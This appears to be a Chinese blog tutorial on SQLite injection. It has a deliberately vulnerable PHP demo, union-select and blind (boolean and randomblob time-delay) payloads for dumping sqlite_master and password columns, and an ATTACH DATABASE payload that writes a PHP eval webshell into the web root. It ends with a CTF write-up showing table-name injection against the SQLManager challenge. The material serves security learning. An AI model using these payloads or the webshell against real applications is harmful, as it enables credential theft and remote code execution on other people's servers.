Sqlite注入的一点总结


本文首发于先知社区,原文链接:https://xz.aliyun.com/t/8627

打iisc的初赛遇到了一道sqlite的题目,发现sqlite的注入遇到的很少,于是干脆梳理一下,总结一下。

sqlite基础

sqlite和mysql等还是有些区别的,sqlite的每一个数据库就是一个文件。

创建数据库

sqlite3 test.db

这个命令执行后就会在当前目录下生成对应名称的文件,之后的数据操作都是对该文件的操作。

执行这个命令成功创建数据库文件之后,将提供一个 sqlite> 提示符。

数据库成功创建后可以使用 SQLite 的 .databases 命令来检查它是否在数据库列表中

打开数据库

Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open sqltest.db

导入导出

# 导出
$sqlite3 testDB.db .dump > testDB.sql
# 导入
$sqlite3 testDB.db < testDB.sql

创建表

语句和mysql差不多

sqlite> create table test(
   ...> id INT PRIMARY KEY     NOT NULL,
   ...> name char(50) NOT NULL
   ...> );

查看表

.tables 命令用来列出附加数据库中的所有表。

sqlite> .tables
test

.schema 命令得到表的完整信息:

sqlite> .schema test
CREATE TABLE test(
id INT PRIMARY KEY     NOT NULL,
name char(50) NOT NULL
);

值得注意的一点是得到的结果是我们创建表时执行的命令语句,这也是sqlite的特点,之后再说。

插入数据

INSERT INTO 语句用于向数据库的某个表中添加新的数据行。

sqlite> insert into test (id,name) values (1,'alice');
sqlite> insert into test (id,name) values (2,'bob');

查询语句

使用select关键字

sqlite> select * from test;
id          name
----------  ----------
1           alice
2           bob

sqlite> select name from test;
name
----------
alice
bob

如果查询结果格式比较乱,需要设置格式化输出。

sqlite_master

sqlite_master表中保存数据库表的关键信息。
这是sqlite_master表的结构

sqlite> .schema sqlite_master
CREATE TABLE sqlite_master (
  type text,
  name text,
  tbl_name text,
  rootpage integer,
  sql text
);

他保存了执行的sql语句,也是之后注入查询表名列名的关键。

从sqlite_master查表名:

sqlite> select tbl_name from sqlite_master where type='table';
tbl_name
----------
test

获取表名和列名:

sqlite> select sql from sqlite_master where type='table';
sql
----------------------------------------------------------------------------
CREATE TABLE test(
id INT PRIMARY KEY     NOT NULL,
name char(50) NOT NULL
)

格式化输出

格式化输出内容,能更直观查看命令执行结果。

sqlite>.header on
sqlite>.mode column
sqlite>.timer on
sqlite>

还有其他的查询语法可以去查询文档。

sqlite注入

Demo代码:

数据库数据:

sqlite> create table user_data(
   ...> id INT PRIMARY KEY NOT NULL,
   ...> name char(50) NOT NULL,
   ...> passwd cahr(50) NOT NULL);

sqlite> insert into user_data (id,name,passwd) values (1,'admin','password');
sqlite> insert into user_data (id,name,passwd) values (2,'bob','wowowow');
sqlite> insert into user_data (id,name,passwd) values (3,'flag','flag{test}');
sqlite> select * from user_data;
1|admin|password
2|bob|wowowow
3|flag|flag{test}

页面:


<html>
    <body>
        <form action="" method="POST">
            <input type="text" name="id" size="80">
            <input type="submit">
        </form>
    </body>
</html>

<?php
   class MyDB extends SQLite3
   {
      function __construct()
      {
         $this->open('user.db');
      }
   }
   $db = new MyDB();
   if(!$db){
      echo $db->lastErrorMsg();
   } else {
      echo "Opened database successfully\n</br>";
   }

   $id = $_POST['id'];
   $sql =<<<EOF
      SELECT * from user_data where id='$id';
EOF;
    $ret = $db->query($sql);
    if($ret==FALSE){
        echo "Error in fetch ".$db->lastErrorMsg();
    }
    else{
            while($row = $ret->fetchArray(SQLITE3_ASSOC) ){
            echo "ID = ". $row['id'] . "</br>";
            echo "NAME = ". $row['name'] ."</br>";
            echo "PASS = ". $row['passwd'] ."</br>";
        }
        var_dump($ret->fetchArray(SQLITE3_ASSOC));
    }   

   $db->close();

?>

union select 注入和一些查询payload

以上demo正常的功能是输入id查询数据库中数据.

测试:
正常输入查询

尝试闭合单引号:

闭合语句

使用order by确定查询字段数:

1' order by 3;
1' order by 4;

0' union select 1,2,3;

查版本

查版本。

0' union select 1,2,sqlite_version();

表名和列名

查表名和字段。

0' union select 1,2,sql from sqlite_master;
or
0' union select 1,2,sql from sqlite_master where type='table';
or
0' union select 1,2,sql from sqlite_master where type='table' and name='user_data';

或者:
多条记录时可以使用group_concat聚合或者使用limit

0' union select 1,2,group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' --
或者使用limit来输出一行结果
0' union select 1,2,tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1 --

limit后面接的数字是截取的行数,而offest后面接的数字则为第一次返回结果中的删除数。在上述查询中,limit提取了两个表名,然后第一个被offset删除掉,所以我们获得了第二个表名。

另外可以通过下面的payload获取到格式化过的列名:

0' union select 1,2,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') from sqlite_master where type='table' and name='user_data' --

查数据

查数据

0' union select id,name,passwd from user_data;

使用group_concat连接查询结果

0' union select 1,2,group_concat(passwd) from user_data;

当然,hex,limit,substr等也都可以在注入中用来构造语句。

盲注

和其他注入差不多,列举几个注入payload:

Bool

bool

没有mid、left等函数

select * from test where id =1 union select 1,length(sqlite_version())=6

sqlite> select * from test union select 1,length(sqlite_version())=6;
id          name
----------  ----------
1           1
1           alice
2           bob
Run Time: real 0.003 user 0.000115 sys 0.002050
sqlite> select * from test union select 1,length(sqlite_version())=5;
id          name
----------  ----------
1           0
1           alice
2           bob
Run Time: real 0.001 user 0.000133 sys 0.000126
select * from test where id=1 and length(sqlite_version())=5;

sqlite> select * from test where id=1 and length(sqlite_version())=5;
Run Time: real 0.001 user 0.000065 sys 0.000493
sqlite> select * from test where id=1 and length(sqlite_version())=6;
id          name
----------  ----------
1           alice
Run Time: real 0.001 user 0.000079 sys 0.000115
select * from test where id=1 and substr(sqlite_version(),1,1)='3';

sqlite> select * from test where id=1 and substr(sqlite_version(),1,1)='3';
id          name
----------  ----------
1           alice
Run Time: real 0.000 user 0.000067 sys 0.000039
sqlite> select * from test where id=1 and substr(sqlite_version(),1,1)='2';
Run Time: real 0.000 user 0.000054 sys 0.000031

Sleep

sleep

sqlite没有sleep()函数,但是有个函数randomblob(N),作用是返回一个 N 字节长的包含伪随机字节的 BLOG。 N 是正整数。可以用它来制造延时。

而且sqlite没有if函数,可以使用case来构造条件

select * from test where id=1 and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end);

sqlite> select * from test where id=1 and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end);
Run Time: real 6.195 user 5.804650 sys 0.329666

写shell

写shell依靠sqlite的创建数据库功能。

除了前面提到的 sqlite3 test.db 这种方法还可以通过 ATTACH DATABASE 这种方法来实现。

ATTACH

假设这样一种情况,当在同一时间有多个数据库可用,您想使用其中的任何一个。SQLite 的 ATTACH DATABASE 语句是用来选择一个特定的数据库,使用该命令后,所有的 SQLite 语句将在附加的数据库下执行。

附加:

attach [database] filename as database_name;

取消:

attach [database] filename as database_name;

如果目标数据库存在,则会直接使用该数据库进行附加,把数据库文件名称与逻辑数据库 ‘database_name’ 绑定在一起。如果目标不存在,则会先创建该数据库,如果数据库文件路径设置在web目录下,就可以实现写shell的功能。

要实现写shell,需要如下操作:

通过 attach 在目标目录新建一个数据库文件 => 在新数据库创建表。=> 在表中插入payload

在sqlite shell中实现如下:

但是在我的 demo 中测试时发现,并没有创建对应的文件,应该是没有成功执行attach和后面的代码。再去看了下前面的demo代码,发现查询操作使用的是 query 方法,在使用 exec 方法的时候就可以正常利用了。

payload:

';ATTACH DATABASE '/var/www/html/sqlite_test/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>'); --

一道题目

题目叫做SQLManager,页面简单实现了sqlite数据库的管理,实现的功能只有table的创建,展示,record的插入。

存在源码泄漏:

view-source:http://eci-2zeiqyu2obvakg4ee0sx.cloudeci1.ichunqiu.com/.index.php.swp

拿到源码如下:

<?php
include 'util.php';
include 'config.php';

error_reporting(0);
session_start();

$method = (string) ($_SERVER['REQUEST_METHOD'] ?? 'GET');
$page = (string) ($_GET['page'] ?? 'index');
if (!in_array($page, ['index', 'build', 'modify', 'remove'])) {
  redirect('?page=index');
}

$message = $_SESSION['flash'] ?? '';
unset($_SESSION['flash']);

if (in_array($page, ['modify', 'remove']) && !isset($_SESSION['database'])) {
  flash("Please build database first.");
}

if (isset($_SESSION['database'])) {
  $pdo = new PDO('sqlite:db/' . $_SESSION['database']);
  $stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' AND name <> '" . tableName . "' LIMIT 1;");
  $tName = $stmt->fetch(PDO::FETCH_ASSOC)['name'];

  $stmt = $pdo->query("PRAGMA table_info(`{$tName}`);");
  $cName = $stmt->fetchAll(PDO::FETCH_ASSOC);
}

if ($page === 'modify' && $method === 'POST') {
  $values = $_POST['values'];
  $stmt = $pdo->prepare("INSERT INTO `{$tName}` VALUES (?" . str_repeat(',?', count($cName) - 1) . ")");
  $stmt->execute($values);
  redirect('?page=index');
}

if ($page === 'build' && $method === 'POST' && !isset($_SESSION['database'])) {
  if (!isset($_POST['table_name']) || !isset($_POST['columns'])) {
    flash('Parameters missing.');
  }

  $tName = (string) $_POST['table_name'];
  $ccc = $_POST['columns'];
  $filename = bin2hex(random_bytes(16)) . '.db';
  $pdo = new PDO('sqlite:db/' . $filename);

  if (!filter($tName)) {
    flash('表不合法');
  }
  if (strlen($tName) < 4 || 32 < strlen($tName)) {
    flash('表不合法');
  }
  if (count($ccc) <= 0 || 10 < count($ccc)) {
    flash('列不合法');
  }

  $sql = "CREATE TABLE {$tName} (";
  $sql .= "example1 TEXT, example2 TEXT";
  for ($i = 0; $i < count($ccc); $i++) {
    $column = (string) ($ccc[$i]['name'] ?? '');
    $type = (string) ($ccc[$i]['type'] ?? '');

    if (!filter($column) || !filter($type)) {
      flash('列不合法');
    }
    if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) {
      flash('列不合法');
    }

    $sql .= ', ';
    $sql .= "`$column` $type";
  }
  $sql .= ');';

  $pdo->query('CREATE TABLE `' . tableName . '` (`' . columnName . '` TEXT);');
  $pdo->query('INSERT INTO `' . tableName . '` VALUES ("' . ans . '");');
  $pdo->query($sql);

  $_SESSION['database'] = $filename;
  redirect('?page=index');
}

if ($page === 'remove') {
  $_SESSION = array();
  session_destroy();
  redirect('?page=index');
}

if ($page === 'index' && isset($_SESSION['database'])) {
  $stmt = $pdo->query("SELECT * FROM `{$tName}`;");

  if ($stmt === FALSE) {
    $_SESSION = array();
    session_destroy();
    redirect('?page=index');
  }

  $result = $stmt->fetchAll(PDO::FETCH_NUM);
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <link rel="stylesheet" href="style.css">
    <script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script>
    <title>SQLManager</title>
  </head>
  <body background="show.jpg">
    <h1>SQLManager</h1>
<?php if (!empty($message)) { ?>
    <div class="info">信息 <?= $message ?></div>
<?php } ?>
<?php if ($page === 'index') { ?>
<?php if (isset($_SESSION['database'])) { ?>
    <h2><?= e($tName) ?> (<a href="?page=remove">删表</a>)</h2>
    <form action="?page=modify" method="POST">
      <table>
        <tr>
<?php for ($i = 0; $i < count($cName); $i++) { ?>
          <th><?= e($cName[$i]['name']) ?></th>
<?php } ?>
        </tr>
<?php for ($i = 0; $i < count($result); $i++) { ?>
        <tr>
<?php for ($j = 0; $j < count($result[$i]); $j++) { ?>
          <td><?= e($result[$i][$j]) ?></td>
<?php } ?>
        </tr>
<?php } ?>
        <tr>
<?php for ($i = 0; $i < count($cName); $i++) { ?>
          <td><input type="text" name="values[]"></td>
<?php } ?>
        </tr>
      </table>
      <input type="submit" value="Insert values">
    </form>
<?php } else { ?>
    <h2>建表</h2>
    <form action="?page=build" method="POST">
      <div id="info">
        <label>表名 <input type="text" name="table_name" id="table_name" value="输入表名"></label><br>
        <label>列数 <input type="number" min="1" max="10" id="num" value="1"></label><br>
        <button id="next">Next</button>
      </div>
      <div id="table" class="hidden">
        <table>
          <tr>
            <th>Name</th>
            <th>Type</th>
          </tr>
          <tr>
            <td>example1</td>
            <td>TEXT</td>
          </tr>
          <tr>
            <td>example2</td>
            <td>TEXT</td>
          </tr>
        </table>
        <input type="submit" value="Create table">
      </div>
    </form>
    <script>
    $('#next').on('click', () => {
      let num = parseInt($('#num').val(), 10);
      let len = $('#table_name').val().length;

      if (4 <= len && len <= 32 && 0 < num && num <= 10) {
        $('#info').addClass('hidden');
        $('#table').removeClass('hidden');

        for (let i = 0; i < num; i++) {
          $('#table table').append($(`
          <tr>
            <td><input type="text" name="columns[${i}][name]"></td>
            <td>
              <select name="columns[${i}][type]">
                <option value="INTEGER">INTEGER</option>
                <option value="REAL">REAL</option>
                <option value="TEXT">TEXT</option>
              </select>
            </td>
          </tr>`));
        }
      }

      return false;
    });
    </script>
<?php } ?>
<?php } ?>

有了源码,逻辑就清晰了许多,源码中有flag表创建和插入flag的操作,可以确定flag存在于数据库中,但是对于表名和flag值都是在开始包含进来的config.php里定义的。

在源码中的创建表相关代码可以发现,创建表时表名,列名,列类型可能存在SQL注入:

$sql = "CREATE TABLE {$tName} (";
  $sql .= "example1 TEXT, example2 TEXT";
  for ($i = 0; $i < count($ccc); $i++) {
    $column = (string) ($ccc[$i]['name'] ?? '');
    $type = (string) ($ccc[$i]['type'] ?? '');

    if (!filter($column) || !filter($type)) {
      flash('列不合法');
    }
    if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) {
      flash('列不合法');
    }

    $sql .= ', ';
    $sql .= "`$column` $type";
  }
  $sql .= ');';

  $pdo->query('CREATE TABLE `' . tableName . '` (`' . columnName . '` TEXT);');
  $pdo->query('INSERT INTO `' . tableName . '` VALUES ("' . ans . '");');
  $pdo->query($sql);

看一下最终拼接后的sql语句:

CREATE TABLE {$tName} (example1 TEXT, example2 TEXT, `$column` $type);

sqlite_master表是SQLite的系统表。该表记录该数据库中保存的表、索引、视图、和触发器信息。每一行记录一个项目。在创建一个SQLIte数据库的时候,该表会自动创建。sqlite_master表包含5列。

  • type列记录了项目的类型,如table、index、view、trigger。

  • name列记录了项目的名称,如表名、索引名等。

  • tbl_name列记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身。

  • rootpage列记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL。

  • sql列记录创建该项目的SQL语句。

16036081405146

那我们只有只要想办法查sqlite_master表就知道flag表和对应的字段名。结合上面的sql语句,我们可以使用这种方式:

create table aa as select xxx from xxx

同时参数还经过了filter函数的处理,被检测到就显示表名非法。

那么通过表名,列名和类型三个地方传入payload,来拼接出我们想要执行的语句。

但是发现在tbname后还拼接了一些内容会造成干扰,这里可以通过 反引号 把它包裹起来,因为包裹起来的内容就成为了关键字,就相

select xx as key,看一下这个例子:

16036088629436

同时反引号可以使用[]来替代绕过过滤。

payload1:

在创建表时,表名: t AS SELECT sql [
列名: abc
列类型: ] FROM sqlite_master;

这时的sql语句就是:

CREATE TABLE t AS SELECT sql [ (example1 TEXT, example2 TEXT, abc ] FROM sqlite_master;);

等价于

CREATE TABLE t AS SELECT sql FROM sqlite_master;

16036091121226

得到了表名和列名,替换语句中的sql和sqlite_master 即可获得flag:

payload2:

t AS SELECT flag_ThE_C0lumn [
abc
]FROM flag_Y0U_c4nt_GUESS;

16036091570801


文章作者: LANVNAL
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LANVNAL !
  目录